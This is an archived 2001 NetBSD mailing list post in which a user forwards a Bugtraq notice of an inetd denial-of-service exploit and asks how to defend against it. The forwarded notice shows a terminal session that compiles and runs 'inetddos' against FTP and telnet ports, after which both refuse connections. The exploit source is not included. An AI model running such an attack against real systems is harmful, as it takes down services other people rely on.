Subject: Fwd: inetd DoS exploit
To: None <netbsd-users@netbsd.org>
From: Emre Yildirim <emre@srengineering.com>
List: netbsd-users
Date: 02/26/2001 16:44:21
--------------Boundary-00=_X5ZDYRQBHJNVXJFYWE1J
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

I got this in the mail today.

Is there a way to fix/prevent this?
(it killed my ftp server, NetBSD 1.5S)



----------  Forwarded Message  ----------
Subject: inetd DoS exploit
Date: Sun, 25 Feb 2001 19:26:07 +0300
From: "Serega[linux]" <linux@IHGROUP.RU>
To: BUGTRAQ@SECURITYFOCUS.COM



Name:  inetd DoS exploit
Author: Serega[Linux]


[ser@ihg prog]$ ./pscaner -h 127.0.0.1      /* it's my port scaner */
Open ports on [127.0.0.1]
-----------------------------
[21] OPEN : 220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb
 17 15:10:44 MSK 2001) ready. [23] OPEN :
[25] OPEN : 220 ihg.localhost ESMTP Sendmail 8.11.0/8.11.0; Sun, 25
 Feb 2001 18:58:36 +0300 -----------------------------

[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ihg.localhost FTP server (Version wu-6.6.6(5) Sat Feb 17 15:10:44
 MSK 2001) ready.

[ser@ihg prog]$ cc inetddos.c -o inetddos
[ser@ihg prog]$ ./inetddos 127.0.0.1 21
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
login:

[ser@ihg prog]$ ./inetddos 127.0.0.1 23
DoS OK
[ser@ihg prog]$ telnet 127.0.0.1 23
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused

--
/*
 * mailto:linux@ihgroup.ru
 * ICQ: 64432299
 * Home Page: http://127.0.0.1
*/

-------------------------------------------------------



--------------Boundary-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